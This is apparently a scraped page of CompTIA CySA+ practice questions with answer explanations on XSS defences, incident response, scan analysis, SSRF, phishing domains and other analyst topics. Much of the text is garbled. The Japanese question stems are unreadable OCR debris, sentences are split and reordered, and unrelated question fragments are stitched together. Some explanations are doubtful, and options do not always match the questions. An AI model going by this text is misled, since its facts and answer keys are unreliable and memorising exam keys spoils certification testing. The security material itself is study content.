Input sanitization is a technique that prevents XSS attacks by checking and filtering the user input before processing it. Input sanitization can remove or encode any characters or strings that may
, ', or javascript:. Input sanitization can also validate the input against a predefined format or range of values, and reject any input that does

be interpreted as code by the browser, such as <, >,
not match.

Output encoding is a technique that prevents XSS attacks by encoding the output before sending it to the browser. Output encoding can convert any characters or strings that may be interpreted
as code by the browser into harmless entities, such as <, >, ", ", or javascript:. Output encoding can also escape any special characters that may have a different meaning in different contexts,
such as,/, or;.

Code obfuscation is a technique that makes the source code of a web application more difficult to read and understand by humans. Code obfuscation can use techniques such as renaming
variables and functions, removing comments and whitespace, replacing literals with expressions, or adding dummy code. Code obfuscation can help protect the intellectual property and trade

secrets of a web application, but it does not prevent XSS attacks.
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The most likely scenario occurring with the time stamps is that the NTP server is not configured on the host.

NTP is the Network Time Protocol, which is used to synchronize the clocks of computers over a network.

NTP uses a hierarchical system of time sources, where each level is assigned a stratum number. The most accurate time sources, such as atomic clocks or GPS receivers, are at stratum 0, and
the devices that synchronize with them are at stratum 1, and so on. NTP clients can query multiple NTP servers and use algorithms to select the best time source and adjust their clocks
accordingly1. If the NTP server is not configured on the host, the host will rely on its own hardware clock, which may drift over time and become inaccurate. This can cause discrepancies in the
time stamps between the host and other devices on the network, such as the firewall, which may be synchronized with a different NTP server or use a different time zone. This can affect the
security analysis and correlation of events, as well as the compliance and auditing of the network23. References: How the Windows Time Service Works, Time Synchronization - All You Need To
Know, Firewall rules logging: a closer look at our new network compliance and ...
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An important aspect that should be included in the lessons-learned step after an incident is to identify any improvements or changes in the incident response plan or procedures. The lessons-
learned step is a process that involves reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best
practices. ldentifying any improvements or changes in the incident response plan or procedures can help enhance the security posture, readiness, or capability of the organization for future
incidents

gﬁ:ﬁ: 68

BNEZRELE-& BEHITILENHIDERDS>65ENTTH?

A. XEEIBEE

B. ExHruatE

C. flLEE

D. 1 VT bRIGETE

IEfE: (EfEZRRLET)

A lessons-learned review is a process of evaluating the effectiveness and efficiency of the incident response plan after an incident or an exercise. The purpose of the review is to identify the
strengths and weaknesses of the incident response plan, and to update it accordingly to improve the future performance and resilience of the organization. Therefore, the incident response plan
should be updated after a lessons-learned review.

References: The answer was based on the NCSC CAF guidance from the National Cyber Security Centre, which states: "You should use post-incident and post-exercise reviews to actively
reduce the risks associated with the same, or similar, incidents happening in future. Lessons learned can inform any aspect of your cyber security, including: System configuration Security
monitoring and reporting Investigation procedures Containment/recovery strategies"
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EDR stands for Endpoint Detection and Response, which is a layer of defense that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can
protect against external threats regardless of the device's operating system, as it can detect and respond to attacks based on behavioral analysis and threat intelligence. EDR is also one of the
tools that CompTIA CySA+ covers in its exam objectives. Official References:

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://resources.infosecinstitute.com/certification/cysa-plus-ia-levels/
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The Diamond Model of Intrusion Analysis is a framework that helps analysts to understand the relationships between the adversary, the victim, the infrastructure, and the capability involved in an
attack. It also enables analytical pivoting, which is the process of moving from one piece of information to another related one, and identifies knowledge gaps that need further investigation.
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The correct answer is A because SLOs - service-level objectives are measurable targets used to evaluate whether a service or process is meeting expected performance levels. When incident
response is outsourced to a third party, SLOs help the organization measure whether the provider is meeting key performance expectations, such as detection time, response time, remediation
time, and reporting quality.

Exact supporting extract: the Secbay CySA+ guide defines SLOs as specific, measurable targets set for the performance and reliability of a service or process. It also states that SLOs provide a
framework for defining and measuring effectiveness, and that reporting on SLOs allows stakeholders to assess performance and make informed decisions.

The same guide explains that SLOs depict explicit measurements and may be set by a company or defined as part of a service-level agreement with a service provider. It also states that
estimating whether SLOs are being met is a typical component of SLA management.

The official CySA+ objectives include SLOs under metrics and KPIs for reporting and communication.

Why the other options are incorrect:

B is incorrect because SLOs are performance targets, not a method for identifying hidden costs.

C is incorrect because SLOs may support risk management, but they do not directly calculate an objective risk score.
D is incorrect because risk appetite is a governance/risk-management concept, not the purpose of SLOs.

A is correct because SLOs allow the organization to measure third-party IR performance against defined KPlIs.
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A cross-site scripting (XSS) attack is a type of web application attack that injects malicious code into a web page that is then executed by the browser of a victim user. A reflected XSS attack is a
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type of XSS attack where the malicious code is embedded in a URL or a form parameter that is sent to the web server and then reflected back to the user's browser. In this case, the Nmap scan
shows that the web server is vulnerable to a reflected XSS attack, as it returns the characters > and " without any filtering or encoding. The vulnerable parameter is id in the URL
http://172.31.15.2/1.php?id=2.
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Zero Trust Network Access (ZTNA)simplifies secure remote access to cloud and SaaS applications byenforcing identity-based, least-privilege access policies. It eliminates the need to extend
traditional network- based access models to the cloud. ZTNA ensures thateach user is verified continuouslyregardless of their network location, aligning perfectly with complex multi-cloud or SaaS
environments.

* RADIUS (A)is an older authentication protocol, not ideal for SaaS cloud scale.

* SDN (B)controls network flow, not identity management.

* SWG (D)is a secure web proxy, not for access control and IAM extension.

# Reference:

* CS0-003 Exam Objectives 1.1 - Identity and Access Management

* Sybex Study Guide - Chapple & Seidl, Chapter 2: Zero Trust & Cloud IAM
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Beaconing is the best term to describe the activity that is taking place, as it refers to the periodic communication between an infected host and a blocklisted external server. Beaconing is a
common technique used by malware to establish a connection with a command-and-control (C2) server, which can provide instructions, updates, or exfiltration capabilities to the malware.
Beaconing can vary in frequency, duration, and payload, depending on the type and sophistication of the malware. The other terms are not as accurate as beaconing, as they describe different
aspects of malicious activity. Data exfiltration is the unauthorized transfer of data from a compromised system to an external destination, such as a C2 server or a cloud storage service. Data
exfiltration can be a goal or a consequence of malware infection, but it does not necessarily involve blocklisted servers or consistent requests. Rogue device is a device that is connected to a
network without authorization or proper security controls. Rogue devices can pose a security risk, as they can introduce malware, bypass firewalls, or access sensitive data. However, rogue
devices are not necessarily infected with malware or communicating with blocklisted servers. Scanning is the process of probing a network or a system for vulnerabilities, open ports, services, or
other information. Scanning can be performed by legitimate administrators or malicious actors, depending on the intent and authorization. Scanning does not imply consistent requests or
blocklisted servers, as it can target any network or system.
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Deduplication is a process that involves removing any duplicate or redundant data or information from a data set or source. Deduplication can help consolidate several threat intelligence feeds by
eliminating any overlapping or repeated indicators of compromise (loCs), alerts, reports, or recommendations. Deduplication can also help reduce the volume and complexity of threat intelligence
data, as well as improve its quality, accuracy, or relevance.
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The scan output where ports are marked as "closed" suggests the use of ahalf-open or SYN scan. In a SYN scan, the scanner sends only the initial SYN packet and does not complete the TCP
handshake. If a SYN- ACK is received, the port is open; if a RST is received, it is closed. This scanning method is also referred to as astealth scanand is frequently used to avoid detection.
Reference:

Mike Chapple, David Seidl,CompTIA CySA+ Practice Tests(Sybex, 2023), p. 376, Question 15: "This image shows a SYN-based port scan..."

Eﬁ:ﬁ: 78

HAHHBMNEHRE L -EROEFET UTORIZRESNTVET,
HEBDOMTTDIIRD 2L ENTIM?

: ' ! L/ Tlme elapsed in
Start time Detection time ot s P
720 a.m 1030am. -~ * 180
12:00 am 2:30 am 150
9:25 a.m 12:15 p.m 170
3:25 p.m 545.0.m 140
A. 140 o

B: 188

¢t lEmezs Lz

The MTTD (Mean Time To Detect) is calculated by averaging the time elapsed in detecting incidents. From the given data: (180+150+170+140)/4 = 160 minutes. This is the correct answer
according to the CompTIA CySA+ CS0-003 Certification Study Guide1, Chapter 4, page 161. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4, page 153;
CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4, page 161.
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A well-defined timeline of the events is the most important factor to ensure accurate incident response reporting, as it provides a clear and chronological account of what happened, when it
happened, who was involved, and what actions were taken. A timeline helps to identify the root cause of the incident, the impact and scope of the damage, the effectiveness of the response, and
the lessons learned for future improvement. A timeline also helps to communicate the incident to relevant stakeholders, such as management, legal, regulatory, or media entities. The other factors
are also important for incident response reporting, but they are not as essential as a well-defined timeline. Official References:

https://www.ibm.com/topics/incident-response

https://www.crowdstrike.com/cybersecurity-101/incident-response/incident-response-steps/
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The lessons-learned register is an essential document that captures insights and feedback from past exercises or incidents, highlighting what went well and what did not. By utilizing this register,
the SOC manager can identify specific areas for improvement and develop actionable steps to enhance future response efforts.

According to CompTIA's CySA+ and Security+ guidance, lessons learned from tabletop exercises are crucial for iterative improvements in an incident response plan. Options A, B, and C are
useful resources, but the lessons-learned register specifically focuses on reflection and improvement, which is the primary objective in this context.
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Testing is a crucial step in any change management process, as it ensures that the change is compatible with the existing systems and does not cause any errors or disruptions. In this case, the
change management team failed to test the email client patch on Windows 11 devices, which resulted in a widespread issue for the users.

Testing would have revealed the problem before the patch was deployed, and allowed the team to fix it or postpone the change.

References: 7 Reasons Why Change Management Strategies Fail and How to Avoid Them, CompTIA CySA+ CS0-003 Certification Study Guide
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Conducting regular code reviews using OWASP best practices is the most effective action to reduce risks associated with the application development. Code reviews are a systematic examination
of the source code of an application to detect and fix errors, vulnerabilities, and weaknesses that may compromise the security, functionality, or performance of the application. Code reviews can
help to improve the quality and security of the code, as well as to identify and remediate common security risks, such as insufficient logging capabilities.

OWASP (Open Web Application Security Project) is a global nonprofit organization that provides free and open resources, tools, standards, and best practices for web application security.
OWASRP best practices for logging include following a common logging format and approach, logging relevant security events and data, protecting log data from unauthorized access or
modification, and using log analysis and monitoring tools to detect and respond to security incidents. By following OWASP best practices for logging, developers can ensure that their web
applications have sufficient and effective logging capabilities that can help to prevent, detect, and mitigate security threats.

References: OWASP Logging Cheat Sheet, OWASP Logging Guide, C9: Implement Security Logging and Monitoring - OWASP Foundation
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Comprehensive Detailed Explanation:The most effective and economical way to ensure the security of an automated information system is to design it with security in mind from the outset. This is
often referred to as

" security by design. " Here's a breakdown of each option and why option A is correct:

* A. Originally designed to provide necessary security

* Explanation: Systems designed with security from the beginning integrate secure practices and considerations during the development process. This approach mitigates the need for costly and
complex retroactive security implementations, which are common in systems where security was an afterthought.

* Cost Efficiency: Security implementations at the design stage can be embedded into the system architecture, reducing the costs associated with later modifications.

* Effectiveness: Security-by-design approaches often result in robust systems that are more resilient to vulnerabilities because they address security concerns at each development phase.

* B. Subjected to intense security testing
* While rigorous security testing (such as penetration testing and vulnerability assessments) is essential, it is reactive. Security testing is more effective when applied to systems already designed

with foundational security principles, ensuring that tests identify potential flaws in an inherently secure system.

* C. Customized to meet specific security threats

* Customizing security to meet specific threats addresses unique risks, but such a targeted approach may miss new or emerging threats not initially considered. It also risks neglecting fundamental
security practices that apply universally, leading to potential vulnerabilities.

* D. Optimized prior to the addition of security

* Optimizing a system before adding security features may enhance performance but does not guarantee security. Security cannot be effectively added onto a system as an afterthought without
incurring additional costs or creating potential weaknesses.

References:

NIST SP 800-160: Systems Security Engineering, which emphasizes designing systems with security integrated from the beginning.

OWASP Security by Design Principles: Explores how security considerations are most effective when included early in development.
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Comprehensive and Detailed Step-by-Step Explanation:A tabletop exercise is a structured simulation that allows teams to practice and evaluate their incident response procedures and
coordination without actual operational impact. These exercises are used to identify gaps in processes and ensure preparedness for real- world threats.
References:

CompTIA CySA+ All-in-One Guide (Chapter 3: Incident Response Procedures) CompTIA CySA+ Practice Tests (Domain 3.0 Incident Response)
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The issue is that laptops are often off-network (traveling), causing inaccurate network-scan metrics and slower detection. The best way to reduce MTTD (mean time to detect vulnerabilities) for
roaming endpoints is agent-based scanning, because agents run continuously on endpoints and can still scan/report results even when devices are not connected to the corporate network.
Exact extract (All-in-One Exam Guide):

"Because the agents run continuously on each host, mobile devices can still be scanned even when they are not connected to the corporate network." It further emphasizes suitability for mobile
devices:

Exact extract (All-in-One Exam Guide):

"agent-based (or serverless) vulnerability scans are typically better for scanning mobile devices." And Sybex Practice Tests directly supports this scenario (traveling sales laptops) by selecting

agent-based scanning as best for accurate config visibility on traveling laptops:
Exact extract (Sybex Practice Tests):

"...most accurate view of configuration issues on laptops belonging to traveling salespeople. Which technology will work best...? A. Agent-based scanning" Why the other options don't solve the
"traveling laptops" problem:

* B (credentialed scans): improves depth/accuracy when the device is reachable, but does nothing when laptops are offline/not on the network.

* C (more frequent network scans): still misses devices that aren't connected.

* D (increase runtime): waiting longer doesn't reduce MTTD; it just delays reporting and still won't scan an off-network device.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): agents scan continuously; mobile devices can be scanned off-network; agent-based better for mobile devices

* Chapple/Seidl, CompTIA CySA+ Practice Tests (CS0-003): agent-based scanning best for traveling laptop scanning accuracy
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A purple team is specifically defined as a collaborative approach that combines the offensive focus of the red team (penetration testing/adversary emulation) with the defensive focus of the blue
team (detection

/response and defense). That matches the scenario: analysts participate in both pen testing and defending during exercises.

Exact extract (All-in-One Exam Guide):

" purple team A collaborative approach that combines the 'red team' and 'blue team.' The red team attempts to breach the organization's defenses, while the blue team responds to the simulated
attacks from the red team." The Sybex Practice Tests also reinforce this definition:

Exact extract (Sybex Practice Tests):

"...the purple team combines elements of the red team and blue team ."

References (CompTIA CySA+ CS0-003 documents / study guides used):
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* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003) : purple team combines red + blue
* Chapple/Seidl, CompTIA CySA+ Practice Tests (CS0-003) : purple team combines red + blue
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OWASP ZAP (Zed Attack Proxy) is a tool recommended for quickly testing web applications for vulnerabilities, including SQL injection, path traversal, and cross-site scripting. It is an open-source
web application security scanner that helps identify security issues in web applications during the development and testing phases.
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Root Cause Analysis (RCA)is the best approach toidentify and resolve the underlying cause of recurring incidents. It involves a systematic investigation of logs, configurations, and operational
data to pinpoint the reason behindpersistent security issues.

* Option A (Vulnerability assessment)helpsidentify security weaknessesbut does not focus onrecurring operational issues.

* Option C (Recurrence reports)trackpatternsbut do notresolve the root cause.

* Option D (Lessons learned)is valuable but is typicallya post-mortem discussion rather than an investigative method.

Thus,B is the correct answer, asroot cause analysis is the best approach for diagnosing recurring availability issues.
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Impacted hostname [0S \FlAction
SQLO1 Windows 2012 R2 'SQL Database Server
WK10-Sales07 Windows 10 Corporate Laptop
WK7-PlantO1 Windows / ‘Assembly/plant System
DCEast01 Windows Server 2016 |Domain Controller
HQAdmMINS Windows 11 |Network Admin Laptop
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C.WK7-735 > k01
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Based on the list of hosts and their functions, DCEast01, which is a Domain Controller, would be the most pivotal in the distribution of an encryption binary via Group Policy. Domain Controllers
are responsible for security and administrative policies within a Windows Domain. Group Policy is a feature of Windows that facilitates a wide range of advanced settings that administrators can

(RESUAR BRI AARRBRGRARET Gt YO R KRG RIS S Vit P orlG T 3 IV 16 A8y A6 RIS RS, IAREINESH RS d44@ANIa DA URBr dich IS4 KoREmIN laptop,

would not typically be used to distribute policies across a network.
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Thepost-incident review processhelps an organization identify gaps in its response and security posture.

Assigning different departmental groups ensures that flaws inspecific work areas (such as IT, HR, or legal teams)are identified and addressed.
* Option Bis incorrect because not all staff need exposure; the review focuses on relevant stakeholders.

* Option Cis a part of the process, but the main goal is improvement, not just playbook verification.

* Option D(cross-training) is a benefit but not the main objective.

Thus,A is the best answerbecause it focuses on identifyingflaws in specific areas of incident management.
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Application security scanning is a process that involves testing and analyzing applications for security vulnerabilities, such as injection flaws, broken authentication, cross-site scripting, and
insecure configuration.

Application security scanning can help identify and fix security issues before they become exploitable by attackers. Using application security scanning as part of the pipeline for the continuous
integration/continuous delivery (CI/CD) flow can help mitigate the problem of finding the same vulnerabilities in a critical application during security scanning. This is because application security
scanning can be integrated into the development lifecycle and performed automatically and frequently as part of the CI/CD process.
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Attack simulations provide realistic, hands-on scenarios that mirror true incidents, allowing SOC analysts to practice detection, analysis, and response skills under real-world pressure. These
simulations are crucial for developing and reinforcing SOC procedures and incident workflows.
Phishing assessments (A) are targeted, limited training.

OpenVAS (B) is a vulnerability scanner, not a training tool.

SOAR (D) is a response automation tool.

Honeypots (E) help observe attacker behavior, but aren't training-focused.

Reference:

CS0-003 Objectives 3.3 - Incident Response Training

Mya Heath All-in-One - Chapter 14: Post-Incident Activities and Training
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An incident response plan (IRP) is a document that defines the roles and responsibilities, procedures, and guidelines for responding to a security incident. It helps the security team to act quickly
and effectively, minimizing the impact and cost of the incident. An IRP should specify who should conduct the next steps following a security event, such as containment, eradication, recovery, and
analysis12. References: CompTIA CySA+ CS0-003 Certification Study Guide, page 362; 6 Incident Response Steps to Take After a Security Event, section 2.
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A. netflix.com

B. youtube.com

C. tiktok.com

D. grnail.com

E. translate.google.com

F. office.com
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*D (" grnail.com ") is a suspicious domain that resembles " gmail.com. "
* The high " bytes out " value (525,984 bytes) indicates potential data exfiltration.
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* Attackers often use typosquatting (e.g., " grnail.com " instead of " gmail.com " ) to trick users into visiting malicious sites.

Why Not Other Options?

* A (Netflix, B YouTube, C TikTok) # Large downloads, but expected behavior for streaming sites.

* E (Google Translate) # Low data volume, no exfiltration risk.

* F (Office.com) # Microsoft service, no indication of malicious activity.

Reference: CompTIA CySA+ CS0-003, Chapter 5: " Threat Intelligence and Threat Detection, " Section: " Analyzing Malicious Domains and Network Traffic. "
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A social engineering attack is a type of cyberattack that relies on manipulating human psychology rather than exploiting technical vulnerabilities. A social engineering attack may involve deceiving,
persuading, or coercing users into performing actions that benefit the attacker, such as clicking on malicious links, divulging sensitive information, or granting access to restricted resources. An
obfuscated link is a link that has been disguised or altered to hide its true destination or purpose. Obfuscated links are often used by attackers to trick users into visiting malicious websites or
downloading malware. In this case, an incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed
URL that leads to an unknown website in another country. This indicates that the analyst is witnessing a social engineering attack using obfuscated links.
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Compensating controls are alternative controls that provide a similar level of protection as the original controls, but are used when the original controls are not feasible or cost-effective. In this
case, the CISO implemented compensating controls by reviewing logs and audit trails to mitigate the risk of error and fraud in payroll management, since segregating duties was not possible due
to the small staff size
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Credentialed vulnerability scansallow the scanner tolog into systems and retrieve accurate information about installed patches and configurations. If the reportsdo not reflect current patching
levels, it is likely that the scan is being performedwithout credentials, leading to incomplete or inaccurate results.

* Option A (Updating the scanning engine)ensures the tool has the latest detection capabilities but does not directly affect scan accuracy for missing patches.

* Option B (Centralized patching)helps maintain consistency but does not correct reporting errors.

* Option D (Resetting plug-ins)may be useful if plug-ins are outdated, but the primary issue islack of privileged accessduring scanning.

Thus,C is the correct answer, ascredentialed scans provide more accurate vulnerability assessments.
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The exploit code maturity of a vulnerability is indicated by the E metric in the CVSS temporal score. The value of U means that no exploit code is available or unknown1. The other options are not
related to the exploit code maturity, but to other aspects of the vulnerability, such as attack vector, scope, availability, and complexity1.
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The one-liner script is utilizing JavaScript to execute a PowerShell command that downloads and runs a script from an external source, indicating the use of custom malware to download an
additional script. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156.
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Awareness training and education are essential to help staff recognize phishing emails and understand safe email practices, particularly when using legacy applications that might not have the
latest security features.

Training helps build a culture of security mindfulness, which is critical for preventing social engineering attacks. According to CompTIA Security+ and CySA+ frameworks, user education is a
fundamental aspect of organizational defense against phishing. Options like replacing applications or implementing MFA (while helpful) do not directly address the need for user awareness in this
scenario.
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Alert description Severity

Excessive application programming interface
(API) failures from user jdoel2@myorg.com Medium
during a short period of time

Abnormal access to the cloud virtual machine
(VM) International Material Data System
service on project staging-01
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To identify the initial compromise , the analyst should start with the earliest suspicious activity in the timeline and pivot into the audit logs for the principal (identity) associated with that first alert.
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Here, the first notable event is 02:00 excessive API failures tied to jdoe12@myorg.com . That commonly indicates password guessing, token misuse, or other authentication abuse attempts. The
next events (02:15 metadata service access, 05:10 mass VM creation by a service account, 05:40 malware) look like follow-on activity after an initial foothold. Therefore, the best first step is to
check whether those API failures were followed by any successful API calls by that user and then correlate those successful actions to the later stages in project staging-01 .

This approach aligns with CySA+ guidance that analysts should use logs + timestamps to build a timeline and correlate events across identities/systems to understand scope and progression:

* Sybex emphasizes correlating events from multiple sources and using that correlation to determine scope and impact: Exact extract (Sybex Study Guide): "Security analysts are often asked to
help analyze that data... Knowing if other events are correlated with the initial event ... [and] understanding what systems, users, services, or other assets were involved..."

* Secbay underscores that logs and timestamps are key to forming an accurate incident timeline (which is exactly what we're doing by starting from the earliest alert): Exact extract (Secbay Press):
" System and application logs with timestamps help create a timeline of events , aiding in understanding when specific actions occurred during the incident." Why Option B is best vs. the others

* B starts with the earliest suspicious identity and seeks successful API activity that would confirm compromise and explain subsequent actions (metadata access # service account actions #
malware).

* A is too broad initially ("all activity under project staging-01") and anchors on a VM that only appears later; it's not the best first pivot when you already have an earlier suspect identity.
* C starts at the compute-instance phase (05:10) rather than the earliest authentication/API anomaly (02:

00), so it's more likely to find post-compromise actions rather than the initial entry.

* D anchors on a specific later VM (fd031f) and compute APIs, again likely after the initial compromise.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mike Chapple & David Seidl, CompTIA CySA+ Study Guide (CS0-003) : correlate other events with the initial event; identify involved users/systems/services
* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003) : logs + timestamps build a timeline of events and support analysis of incident progression
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This command uses a Wireshark display filter (-Y) to show packets that match either HTTP or UDP:

* http matches HTTP protocol traffic, which is unencrypted web traffic (i.e., not HTTPS/TLS). To view encrypted web requests (HTTPS), you would need SSL/TLS decryption support and a proper
setup (keys, etc.). The All-in-One guide explicitly notes Wireshark/TShark support for SSL/TLS decryption to view encrypted traffic, implying encrypted web traffic isn't simply "http" unless
decrypted and dissected accordingly.

* udp matches all UDP traffic, and DNS commonly uses UDP/53, so DNS packets will be included as part of UDP traffic.

Supporting extracts from the All-in-One guide about filtering and web ports (HTTP/HTTPS) and TLS decryption capabilities:
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Exact extract (All-in-One Exam Guide):

"Port filters... Example: tcp port 80 or tcp port 443"

Exact extract (All-in-One Exam Guide):

"Support for SSL/TLS decryption to view encrypted traffic"

Therefore: The filter shows unencrypted web (HTTP) traffic and UDP traffic (which includes DNS), making B the best match.

Eﬁ:ﬁ: 105

B, WEENERMBEO T —IR—RIZRETVEALEL, 2OT—ER—RICEAEBBFBIAIEFENTVET HEEH L BHEINTIAOY I ShBAHICKEDT—2EEAHLELE,
XalT4 7FTFIRAMI BEENEDESICLTT IV ERATEDOAZHIMT 5-OIC BRERFERPHERT I IRENHYET, 7TV R MARDICKRTTIVENHIDERDS5bENT
ERAN

A FENSERAIC A VL Ty bELUKRBICEET 2RERBEEXBLLET,

B.E#EZZITAVATLOEEEZHEUT HIRERICA V2 E2L—LFET,

C.UOFATU T TN r—2avéa—H—F7IRRIHAETEIIRTDARNY L 2RBET 0T J7MILEHERELET,

D.A VYT U MEHLLADTHEEZR/NMRICHZ S-DICMAINZHARDOEEEZRELFT,

Ff:C(aAAV FEHKT D)

In a root cause analysis following unauthorized access, the initial step is usually to review relevant log files.

These logs can provide critical information about how and when the attacker gained access.

The first step in a root cause analysis after a data breach is typically to review the logs. This helps the analyst understand how the attacker gained access by providing a detailed record of all
events, including unauthorized or abnormal activities. Documenting the incident, interviewing employees, and identifying immediate containment actions are important steps, but they usually follow
the initial log review.
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The threat was detected from the time the emails were sent at 8:30 a.m. to when the recipients started alerting the organization's help desk about the email at 8:45 a.m., taking a total of 15
minutes. The detection time is the time elapsed between the occurrence of an incident and its discovery by the security team . The other options are either too short or too long based on the given
information. References: : Detection Time :

Incident Response Metrics: Mean Time to Detect and Mean Time to Respond
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Before taking any action, the SOC analyst should first verify if the Indicators of Compromise (IoC) and Tactics, Techniques, and Procedures (TTPs) reported are relevant to the organization's
environment. This involves checking if the vulnerable application or version is actually in use. As per CompTIA's CySA+ guidelines, relevance verification helps in prioritizing resources and
response actions effectively, ensuring that time is not wasted on threats that do not impact the organization. Options A, B, and D are important subsequent steps if the threat is deemed relevant.
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The formal incident declaration is crucial to identify and document the staff who have the authority to declare an incident, ensuring that incidents are handled by authorized personnel. References:
CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5: Incident Response, page 197.
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A successful information security program consists of several key elements that align with the organization's goals and objectives, and address the risks and threats to its information assets.
Security policy implementation: This is the process of developing, documenting, and enforcing the rules and standards that govern the security of the organization's information assets. Security
policies define the scope, objectives, roles, and responsibilities of the security program, as well as the acceptable use, access control, incident response, and compliance requirements for the
information assets.

Assignment of roles and responsibilities: This is the process of identifying and assigning the specific tasks and duties related to the security program to the appropriate individuals or groups within
the organization. Roles and responsibilities define who is accountable, responsible, consulted, and informed for each security activity, such as risk assessment, vulnerability management, threat
detection, incident response, auditing, and reporting.

Information asset classification: This is the process of categorizing the information assets based on their value, sensitivity, and criticality to the organization. Information asset classification helps to
determine the appropriate level of protection and controls for each asset, as well as the impact and likelihood of a security breach or loss. Information asset classification also facilitates the
prioritization of security resources and efforts based on the risk level of each asset.
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Aplaybookprovides astep-by-stepguide for handling specific types of incidents like ransomware, making it invaluable during triage. It outlines predefined procedures, aiding consistent and fast
decision-making.

* The incident response plan (A) provides high-level structure.

* Lessons learned (B) applyafterthe incident.

* Tabletop exercises (D) are training tools, not live guides.

#Reference: Chapple & Seidl, CySA+ Practice Tests, Incident Response, Chapter 3 - Playbooks and Procedures.

#Objective: 3.1 - Apply incident response procedures based on an incident classification.

B 111

TXAUTATFTIRMYNN Ty b XY TFrZLEaA—L UTOHANEETHS LHIH LT,
13:49:57.553161 TP10.203.10.17.45701 > 10.203.10.22.12930:Flags[FPU],seq108331482,win1024,urg0, lengthO
13:49:57.553162 1P10.203.10.17.45701 > 10.203.10.22.48968:Flags[FPU],seq108331482,win1024,urg0, lengthO

UTOFHDS>6 HABRZHALTLADEENTTIN?

A.NmapP VAR RARF v >

B. Niktod ™ = X F v >

C.Socat (FRE TSV #FALTI,S 74 v 9% TO0XL LTVET

D. Angry IP Scanner D5

IEfE: (EfEZRRLET)

The captured traffic shows TCP packets with the Flags [FPU], which indicate that the FIN, PSH, and URG flags are set. This is characteristic of an Nmap Xmas scan. The Xmas scan is a type of
port scan that sends packets with these flags set to determine port states based on responses from the target system. This technique is often used in stealth scanning to evade detection by
firewalls or IDS/IPS.

* Nikto ' s web scan (B) is used for identifying web server vulnerabilities but does not generate TCP packets with such unusual flags.

* Socat ' s proxying (C) would not exhibit the specific Xmas scan pattern.

* Angry IP Scanner (D) is a general-purpose scanner that does not use the TCP flags seen in this capture.
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The correct answer is A. System hardening.

System hardening is the process of securing a system by reducing its attack surface, applying patches and updates, configuring security settings, and implementing security controls. System
hardening can help prevent or mitigate vulnerability events that may affect operating systems. Host-based IPS, firewalls, and two-factor authentication are examples of security controls that can be

applied to harden a system1.
The other options are not the best descriptions of the scenario. A hybrid network architecture (B) is a network design that combines on-premises and cloud-based resources, which may or may not

involve system hardening. Continuous authorization is a security approach that monitors and validates the security posture of a system on an ongoing basis, which is different from system
hardening. Secure access service edge (D) is a network architecture that delivers cloud-based security services to remote users and devices, which is also different from system hardening.
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ABusiness Impact Analysis (BIA)is the correct document thatidentifies critical servicesand definesRecovery Point Objectives (RPOs)andRecovery Time Objectives (RTOs). It helps organizations
determine the impact of downtime and the maximum tolerable outages for business functions.

* Disaster recovery plan (A)uses the information from the BIA.

* Playbooks (C)are tactical and focus on specific incidents.

* Backup plans (D)support BIA but don 't define RPO/RTO themselves.

Reference:

CompTIA CySA+ Study Guide - Chapple & Seidl, Chapter 9

CySA+ Exam Objectives: Domain 3.0 - Incident Response and Management
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Comprehensive Detailed Explanation:SOAR (Security Orchestration, Automation, and Response) solutions are implemented to streamline security operations and improve efficiency. Key benefits
include:

* C. Reduce repetitive tasks: SOAR solutions automate routine and repetitive tasks, which helps reduce analyst workload and minimize human error.

* F. Generate reports and metrics: SOAR platforms can automatically generate comprehensive reports and performance metrics, allowing organizations to track incident response times, analyze
trends, and optimize security processes.

Other options are less relevant to the core functions of SOAR:


https://www.jpnshiken.com/q/69047-6477512/
https://www.jpnshiken.com/q/69047-6477513/
https://www.jpnshiken.com/q/69047-6477514/

* A. Minimize security attacks: While SOAR can aid in quicker response, it does not directly minimize the occurrence of attacks.
* B. Itemize tasks for approval: Task itemization for approval is more relevant to project management tools.
* D. Minimize setup complexity: SOAR solutions often require significant setup and integration with existing tools.

* E. Define a security strategy: SOAR is more focused on automating response rather than strategy definition.
References:

Gartner ' s Guide on SOAR Solutions: Discusses automation and reporting features.
NIST SP 800-61: Computer Security Incident Handling Guide, on the value of automation in incident response.
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* Server-Side Request Forgery (SSRF) occurs when an attacker manipulates a web server to make unauthorized internal or external requests, often to access internal resources or exfiltrate data.
* A Web Application Firewall (WAF) is the best mitigation because it:

* Filters and blocks malicious requests before they reach the server.

* Prevents attackers from sending unauthorized requests to internal services.

* Can detect and block SSRF patterns in incoming traffic.

Why Not Other Options?

* B (CASB) # Used for cloud access control, not effective against SSRF.

* C (Forward Proxy) # Helps with outbound traffic control, but SSRF involves incoming requests.

* D (MFA) # Helps with authentication but does NOT prevent SSRF attacks.

Reference: CompTIA CySA+ CS0-003, Chapter 6: " Application Security and Secure Coding, " Section: " Preventing SSRF and Web Exploits. "
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Exploit code maturity in the CVSS v.3.1 temporal metrics refers to the reliability and availability of exploit code for a vulnerability. Public availability of exploit code increases the exploit code
maturity score.

The availability of exploit code affects the 'Exploit Code Maturity' metric in CVSS v.3.1. This metric evaluates the level of maturity of the exploit that targets the vulnerability. When exploit code is
readily available, it suggests a higher level of maturity, indicating that the exploit is more reliable and easier to use.
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High GPU utilization is the most likely indicator that cryptomining is occurring, as it reflects the intensive computational work that is required to solve the complex mathematical problems involved
in mining cryptocurrencies. Cryptomining is the process of generating new units of a cryptocurrency by using computing power to verify transactions and create new blocks on the blockchain.
Cryptomining can be done legitimately by individuals or groups who participate in a mining pool and share the rewards, or illegitimately by threat actors who use malware or scripts to hijack the
computing resources of unsuspecting victims and use them for their own benefit. This practice is called cryptojacking, and it can cause performance degradation, increased power consumption,
